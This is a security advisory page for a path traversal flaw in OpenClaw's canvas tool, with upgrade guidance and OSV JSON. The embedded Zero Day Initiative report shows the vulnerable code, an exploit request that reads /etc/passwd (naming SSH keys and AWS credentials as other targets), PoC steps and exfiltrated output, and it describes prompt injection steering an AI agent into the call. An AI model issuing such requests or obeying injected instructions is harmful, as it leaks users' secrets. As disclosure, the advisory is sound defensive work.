GHSA-jq4x-98m3-ggq6: Openclaw Path Traversal Vulnerability

HIGH
CWE-22
Published
Advisory Summary

GHSA-jq4x-98m3-ggq6 is a HIGH path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Openclaw libraries in the npm ecosystem. The issue involves openclaw canvas path traversal information disclosure vulnerability. Remediation is available by upgrading affected packages to version 2026.2.21.

GHSA-jq4x-98m3-ggq6 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-jq4x-98m3-ggq6
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Openclaw
Package Ecosystem npm
Published Date
Last Updated

How to Fix GHSA-jq4x-98m3-ggq6

To remediate this vulnerability, upgrade all affected Openclaw dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

openclaw fixed: 2026.2.21
npm install openclaw@2026.2.21
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls openclaw

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-jq4x-98m3-ggq6, inspect your project dependencies using npm:

npm ls openclaw

Analyze the terminal output to locate any version of Openclaw in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.2.21), your application is affected.

Note: The npm ls openclaw command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Openclaw, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

ZDI-CAN-29312: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability -- ABSTRACT ------------------------------------- Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: OpenClaw - OpenClaw -- VULNERABILITY DETAILS ------------------------ * Version tested: openclaw 2026.2.17 * Platform tested: macOS 26.3 --- # Analysis ## Description The OpenClaw gateway's `canvas` tool accepts an `a2ui_push` action with a `jsonlPath` parameter that specifies a filesystem path to read. The gateway reads this file using `fs.readFile()` with no path validation, canonicalization, or directory restriction. An authenticated attacker can supply an arbitrary absolute or relative path to read any file accessible to the gateway process. The file contents are forwarded to the connected node client via the `canvas.a2ui.pushJSONL` WebSocket command. The gateway itself returns `{ ok: true }` to the HTTP caller, confirming the file was read and transmitted. ## Root Cause In `src/agents/tools/canvas-tool.ts`, the `a2ui_push` action handler reads a file from disk without any path restrictions: ```typescript case "a2ui_push": { const jsonl = typeof params.jsonl === "string" && params.jsonl.trim() ? params.jsonl : typeof params.jsonlPath === "string" && params.jsonlPath.trim() ? await fs.readFile(params.jsonlPath.trim(), "utf8") // <-- NO PATH VALIDATION : ""; if (!jsonl.trim()) { throw new Error("jsonl or jsonlPath required"); } await invoke("canvas.a2ui.pushJSONL", { jsonl }); return jsonResult({ ok: true }); } ``` The `jsonlPath` parameter is passed directly to `fs.readFile()` after only a `.trim()` call. There is: - No allowlist of permitted directories - No canonicalization (`path.resolve` / `realpath`) - No check against directory traversal sequences (`..`) - No restriction to `.jsonl` file extensions ## Attack Scenario ### Prompt Injection (Primary) OpenClaw is an AI agent orchestration tool. AI agents hold the gateway token to invoke tools. A prompt injection attack ��� where malicious instructions are embedded in content the AI processes ��� can direct the agent to call: ``` POST /tools/invoke Authorization: Bearer <agent's token> Content-Type: application/json { "tool": "canvas", "args": { "action": "a2ui_push", "jsonlPath": "/etc/passwd", "node": "node-host" } } ``` The gateway reads `/etc/passwd` (or any file: `~/.ssh/id_rsa`, `~/.aws/credentials`, `openclaw.json` containing the gateway token itself) and can forward the contents to an attacker connected node. ## Reproduction Steps ### Prerequisites - Docker installed - Python 3 - OpenClaw Docker image built as `openclaw:local` ### Steps 1. Navigate to the PoC directory and start the environment: ```bash cd vulnerabilities/01-canvas-a2ui-push-lfi docker compose up -d --wait ``` 2. This starts two containers: - **Gateway** (`openclaw-vuln-01-gateway`): Token-protected OpenClaw gateway on port 18701 - **Node** (`openclaw-vuln-01-node`): WebSocket node client that logs received data (simulates exfiltration) 3. Wait a few seconds for the node to authenticate, then run the PoC: ```bash python3 poc.py ``` 4. The PoC runs three tests: | Test | Description | Result | |------|-------------|--------| | 1 ��� No auth | POST /tools/invoke without token | **401 Unauthorized** | | 2 ��� Exploit | POST /tools/invoke with token, `jsonlPath=/etc/passwd` | **200 OK** (file read) | | 3 ��� Exfiltration | Check node container logs for received file contents | **/etc/passwd contents visible** | 5. Test 2 sends: `{"tool":"canvas","args":{"action":"a2ui_push","jsonlPath":"/etc/passwd","node":"node-host"}}`. The gateway reads `/etc/passwd` via `fs.readFile()` and forwards the contents to the node via `canvas.a2ui.pushJSONL`. The node logs show the full exfiltrated file: ``` [node] ====== EXFILTRATED FILE CONTENTS via a2ui.pushJSONL ====== root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... node:x:1000:1000::/home/node:/bin/bash ``` 6. Cleanup: ```bash docker compose down -v ``` -- CREDIT --------------------------------------- This vulnerability was discovered by: Peter Girnus (@gothburz) and Project AESIR of TrendAI Zero Day Initiative -- FURTHER DETAILS ------------------------------ Supporting files: [ZDI-CAN-29312.zip](https://github.com/user-attachments/files/25445277/ZDI-CAN-29312.zip) If supporting files were contained with this report they are provided within a password protected ZIP file. The password is the ZDI candidate number in the form: ZDI-CAN-XXXX where XXXX is the ID number. Please confirm receipt of this report. We expect all vendors to remediate ZDI vulnerabilities within 120 days of the reported date. If you are ready to release a patch at any point leading up to the deadline, please coordinate with us so that we may release our advisory detailing the issue. If the 120-day deadline is reached and no patch has been made available we will release a limited public advisory with our own mitigations, so that the public can protect themselves in the absence of a patch. Please keep us updated regarding the status of this issue and feel free to contact us at any time: Zero Day Initiative zdi-disclosures@trendmicro.com The PGP key used for all ZDI vendor communications is available from: http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc -- INFORMATION ABOUT THE ZDI -------------------- Established by TippingPoint and acquired by Trend Micro, the Zero Day Initiative (ZDI) neither re-sells vulnerability details nor exploit code. Instead, upon notifying the affected product vendor, the ZDI provides its Trend Micro TippingPoint customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Please contact Zero Day Initiative for further details or refer to: http://www.zerodayinitiative.com -- DISCLOSURE POLICY ---------------------------- Zero Day Initiative's vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ ## Fix Commit(s) - `39816e61b0c4347a83c9b76bc8883190cfe5a3c9`

GHSA-jq4x-98m3-ggq6 Affected Openclaw Versions

1 component(s)
Fixed Versions:
2026.2.21
Product / Package Ecosystem Affected Versions Fixed Version
openclaw
npm
< 2026.2.21
2026.2.21

References

Frequently Asked Questions

What is GHSA-jq4x-98m3-ggq6?
GHSA-jq4x-98m3-ggq6 is a security vulnerability in Openclaw involving OpenClaw Canvas Path Traversal Information Disclosure Vulnerability under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Openclaw versions are affected?
Affected versions include releases prior to 2026.2.21 across affected packages: openclaw.
What version fixes GHSA-jq4x-98m3-ggq6?
Upgrading to 2026.2.21 (or the latest patched release for your respective branch) resolves the vulnerability.
Is openclaw affected?
Yes, openclaw is affected in releases prior to 2026.2.21. Upgrade your dependency to 2026.2.21 or later.
What CWE is associated with GHSA-jq4x-98m3-ggq6?
GHSA-jq4x-98m3-ggq6 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for GHSA-jq4x-98m3-ggq6?
Run the dependency tree command: 'npm ls openclaw'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jq4x-98m3-ggq6",
  "modified" : "2026-03-02T22:32:23Z",
  "published" : "2026-03-02T22:32:23Z",
  "aliases" : [ ],
  "summary" : "OpenClaw Canvas Path Traversal Information Disclosure Vulnerability",
  "details" : "ZDI-CAN-29312: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability\n\n-- ABSTRACT -------------------------------------\n\nTrend Micro's Zero Day Initiative has identified a vulnerability affecting the following products:\nOpenClaw - OpenClaw\n\n-- VULNERABILITY DETAILS ------------------------\n* Version tested: openclaw 2026.2.17\n* Platform tested: macOS 26.3\n\n---\n\n# Analysis\n\n## Description\n\nThe OpenClaw gateway's `canvas` tool accepts an `a2ui_push` action with a `jsonlPath` parameter that specifies a filesystem path to read. The gateway reads this file using `fs.readFile()` with no path validation, canonicalization, or directory restriction. An authenticated attacker can supply an arbitrary absolute or relative path to read any file accessible to the gateway process.\n\nThe file contents are forwarded to the connected node client via the `canvas.a2ui.pushJSONL` WebSocket command. The gateway itself returns `{ ok: true }` to the HTTP caller, confirming the file was read and transmitted.\n\n## Root Cause\n\nIn `src/agents/tools/canvas-tool.ts`, the `a2ui_push` action handler reads a file from disk without any path restrictions:\n\n```typescript\ncase \"a2ui_push\": {\n  const jsonl =\n    typeof params.jsonl === \"string\" && params.jsonl.trim()\n      ? params.jsonl\n      : typeof params.jsonlPath === \"string\" && params.jsonlPath.trim()\n        ? await fs.readFile(params.jsonlPath.trim(), \"utf8\")  // <-- NO PATH VALIDATION\n        : \"\";\n  if (!jsonl.trim()) {\n    throw new Error(\"jsonl or jsonlPath required\");\n  }\n  await invoke(\"canvas.a2ui.pushJSONL\", { jsonl });\n  return jsonResult({ ok: true });\n}\n```\n\nThe `jsonlPath` parameter is passed directly to `fs.readFile()` after only a `.trim()` call. There is:\n- No allowlist of permitted directories\n- No canonicalization (`path.resolve` / `realpath`)\n- No check against directory traversal sequences (`..`)\n- No restriction to `.jsonl` file extensions\n\n## Attack Scenario\n\n### Prompt Injection (Primary)\n\nOpenClaw is an AI agent orchestration tool. AI agents hold the gateway token to invoke tools. A prompt injection attack ��� where malicious instructions are embedded in content the AI processes ��� can direct the agent to call:\n\n```\nPOST /tools/invoke\nAuthorization: Bearer <agent's token>\nContent-Type: application/json\n\n{\n  \"tool\": \"canvas\",\n  \"args\": {\n    \"action\": \"a2ui_push\",\n    \"jsonlPath\": \"/etc/passwd\",\n    \"node\": \"node-host\"\n  }\n}\n```\n\nThe gateway reads `/etc/passwd` (or any file: `~/.ssh/id_rsa`, `~/.aws/credentials`, `openclaw.json` containing the gateway token itself) and can forward the contents to an attacker connected node.\n\n## Reproduction Steps\n\n### Prerequisites\n- Docker installed\n- Python 3\n- OpenClaw Docker image built as `openclaw:local`\n\n### Steps\n\n1. Navigate to the PoC directory and start the environment:\n   ```bash\n   cd vulnerabilities/01-canvas-a2ui-push-lfi\n   docker compose up -d --wait\n   ```\n\n2. This starts two containers:\n   - **Gateway** (`openclaw-vuln-01-gateway`): Token-protected OpenClaw gateway on port 18701\n   - **Node** (`openclaw-vuln-01-node`): WebSocket node client that logs received data (simulates exfiltration)\n\n3. Wait a few seconds for the node to authenticate, then run the PoC:\n   ```bash\n   python3 poc.py\n   ```\n\n4. The PoC runs three tests:\n\n   | Test | Description | Result |\n   |------|-------------|--------|\n   | 1 ��� No auth | POST /tools/invoke without token | **401 Unauthorized** |\n   | 2 ��� Exploit | POST /tools/invoke with token, `jsonlPath=/etc/passwd` | **200 OK** (file read) |\n   | 3 ��� Exfiltration | Check node container logs for received file contents | **/etc/passwd contents visible** |\n\n5. Test 2 sends: `{\"tool\":\"canvas\",\"args\":{\"action\":\"a2ui_push\",\"jsonlPath\":\"/etc/passwd\",\"node\":\"node-host\"}}`. The gateway reads `/etc/passwd` via `fs.readFile()` and forwards the contents to the node via `canvas.a2ui.pushJSONL`. The node logs show the full exfiltrated file:\n   ```\n   [node] ====== EXFILTRATED FILE CONTENTS via a2ui.pushJSONL ======\n   root:x:0:0:root:/root:/bin/bash\n   daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n   ...\n   node:x:1000:1000::/home/node:/bin/bash\n   ```\n\n6. Cleanup:\n   ```bash\n   docker compose down -v\n   ```\n\n\n\n\n-- CREDIT ---------------------------------------\nThis vulnerability was discovered by:\nPeter Girnus (@gothburz) and Project AESIR of TrendAI Zero Day Initiative\n\n-- FURTHER DETAILS ------------------------------\n\nSupporting files: \n[ZDI-CAN-29312.zip](https://github.com/user-attachments/files/25445277/ZDI-CAN-29312.zip)\n\n\n\nIf supporting files were contained with this report they are provided within a password protected ZIP file. The password is the ZDI candidate number in the form: ZDI-CAN-XXXX where XXXX is the ID number.\n\nPlease confirm receipt of this report. We expect all vendors to remediate ZDI vulnerabilities within 120 days of the reported date. If you are ready to release a patch at any point leading up to the deadline, please coordinate with us so that we may release our advisory detailing the issue. If the 120-day deadline is reached and no patch has been made available we will release a limited public advisory with our own mitigations, so that the public can protect themselves in the absence of a patch. Please keep us updated regarding the status of this issue and feel free to contact us at any time:\n\nZero Day Initiative\nzdi-disclosures@trendmicro.com\n\nThe PGP key used for all ZDI vendor communications is available from:\n\n  http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc\n\n-- INFORMATION ABOUT THE ZDI --------------------\nEstablished by TippingPoint and acquired by Trend Micro, the Zero Day Initiative (ZDI) neither re-sells vulnerability details nor exploit code. Instead, upon notifying the affected product vendor, the ZDI provides its Trend Micro TippingPoint customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available.\n\nPlease contact Zero Day Initiative for further details or refer to:\n\n  http://www.zerodayinitiative.com\n\n-- DISCLOSURE POLICY ----------------------------\n\nZero Day Initiative's vulnerability disclosure policy is available online at:\n\n  http://www.zerodayinitiative.com/advisories/disclosure_policy/\n    \n\n## Fix Commit(s)\n- `39816e61b0c4347a83c9b76bc8883190cfe5a3c9`",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "openclaw"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2026.2.21"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/openclaw/openclaw/security/advisories/GHSA-jq4x-98m3-ggq6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/openclaw/openclaw/commit/39816e61b0c4347a83c9b76bc8883190cfe5a3c9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/openclaw/openclaw"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-02T22:32:23Z",
    "nvd_published_at" : null
  }
}